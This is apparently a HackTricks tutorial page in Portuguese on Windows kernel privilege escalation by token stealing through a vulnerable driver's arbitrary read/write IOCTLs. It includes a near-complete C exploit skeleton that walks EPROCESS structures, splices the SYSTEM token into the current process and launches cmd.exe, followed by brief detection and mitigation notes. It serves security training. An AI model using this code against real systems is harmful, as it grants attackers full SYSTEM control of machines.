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# Windows kernel EoP: Token stealing with arbitrary kernel R/W
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{{#include ../../banners/hacktricks-training.md}}
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## Visão geral
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Se um driver vulnerável expõe um IOCTL que dá a um atacante primitivas arbitrárias de leitura e/ou escrita no kernel, elevar para NT AUTHORITY\SYSTEM pode frequentemente ser alcançado roubando um token de acesso do SYSTEM. A técnica copia o ponteiro Token do EPROCESS de um processo SYSTEM para o EPROCESS do processo atual.
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Por que funciona:
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- Cada processo tem uma estrutura EPROCESS que contém (entre outros campos) um Token (na verdade um EX_FAST_REF para um objeto token).
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- O processo SYSTEM (PID 4) possui um token com todos os privilégios habilitados.
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- Substituir o EPROCESS.Token do processo atual pelo ponteiro de token do SYSTEM faz com que o processo atual passe a executar como SYSTEM imediatamente.
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> Os offsets em EPROCESS variam entre versões do Windows. Determine-os dinamicamente (símbolos) ou use constantes específicas da versão. Lembre-se também que EPROCESS.Token é um EX_FAST_REF (os 3 bits menos significativos são flags de contagem de referência).
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## Passos em alto nível
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1) Localize a base de ntoskrnl.exe e resolva o endereço de PsInitialSystemProcess.
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- A partir do modo usuário, use NtQuerySystemInformation(SystemModuleInformation) ou EnumDeviceDrivers para obter as bases dos drivers carregados.
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- Adicione o offset de PsInitialSystemProcess (a partir de símbolos/reversão) à base do kernel para obter seu endereço.
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2) Leia o ponteiro em PsInitialSystemProcess → este é um ponteiro do kernel para o EPROCESS do SYSTEM.
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3) A partir do EPROCESS do SYSTEM, leia os offsets de UniqueProcessId e ActiveProcessLinks para percorrer a lista duplamente ligada das estruturas EPROCESS (ActiveProcessLinks.Flink/Blink) até encontrar o EPROCESS cujo UniqueProcessId é igual a GetCurrentProcessId(). Mantenha ambos:
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- EPROCESS_SYSTEM (para SYSTEM)
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- EPROCESS_SELF (para o processo atual)
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4) Leia o valor do token do SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
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- Mascarar os 3 bits menos significativos: Token_SYS_masked = Token_SYS & ~0xF (comumente ~0xF ou ~0x7 dependendo do build; em x64 os 3 bits menos significativos são usados — máscara 0xFFFFFFFFFFFFFFF8).
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5) Option A (common): Preserve os 3 bits menos significativos do seu token atual e combine-os com o ponteiro do SYSTEM para manter o contador de referência embutido consistente.
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- Token_ME = *(EPROCESS_SELF + TokenOffset)
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- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
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6) Escreva Token_NEW de volta em (EPROCESS_SELF + TokenOffset) usando sua primitiva de escrita no kernel.
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7) Seu processo atual agora é SYSTEM. Opcionalmente, inicie um novo cmd.exe ou powershell.exe para confirmar.
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## Pseudocódigo
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Abaixo está um esqueleto que usa apenas dois IOCTLs de um driver vulnerável, um para leitura de 8 bytes no kernel e outro para escrita de 8 bytes no kernel. Substitua pela interface do seu driver.
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```c
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#include <Windows.h>
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#include <Psapi.h>
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#include <stdint.h>
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// Device + IOCTLs are driver-specific
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#define DEV_PATH "\\\\.\\VulnDrv"
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#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
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#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
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// Version-specific (examples only – resolve per build!)
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static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
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static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
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static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
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BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
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struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
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in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
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}
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BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
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struct { uint64_t addr, val; } in; DWORD ret;
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in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
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}
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// Get ntoskrnl base (one option)
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uint64_t get_nt_base(void) {
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LPVOID drivers[1024]; DWORD cbNeeded;
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if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
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return (uint64_t)drivers[0]; // first is typically ntoskrnl
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}
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return 0;
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}
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int main(void) {
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HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
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if (h == INVALID_HANDLE_VALUE) return 1;
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// 1) Resolve PsInitialSystemProcess
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uint64_t nt = get_nt_base();
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uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
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// 2) Read SYSTEM EPROCESS
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uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
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// 3) Walk ActiveProcessLinks to find current EPROCESS
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DWORD myPid = GetCurrentProcessId();
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uint64_t cur = EPROC_SYS; // list is circular
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uint64_t EPROC_ME = 0;
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do {
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uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
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if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
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uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
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cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
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} while (cur != EPROC_SYS);
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// 4) Read tokens
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uint64_t tok_sys, tok_me;
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kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
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kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
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// 5) Mask EX_FAST_REF low bits and splice refcount bits
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uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
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uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
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// 6) Write back
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kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
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// 7) We are SYSTEM now
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system("cmd.exe");
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return 0;
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}
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Notas:
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- Offsets: Use WinDbg’s `dt nt!_EPROCESS` com os PDBs do alvo, ou um carregador de símbolos em tempo de execução, para obter offsets corretos. Não hardcodear cegamente.
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- Mask: Em x64 o token é um EX_FAST_REF; os 3 bits menos significativos são bits de contagem de referência. Manter os bits baixos originais do seu token evita inconsistências imediatas no refcount.
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- Stability: Prefira elevar o processo atual; se você elevar um helper de curta duração pode perder SYSTEM quando ele encerrar.
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## Detecção e mitigação
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- Carregar drivers de terceiros não assinados ou não confiáveis que expõem IOCTLs poderosos é a causa raiz.
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- Kernel Driver Blocklist (HVCI/CI), DeviceGuard e as regras de Attack Surface Reduction podem impedir que drivers vulneráveis sejam carregados.
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- EDR pode monitorar sequências suspeitas de IOCTL que implementem leitura/gravação arbitrária e trocas de token.
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## Referências
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- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
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- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
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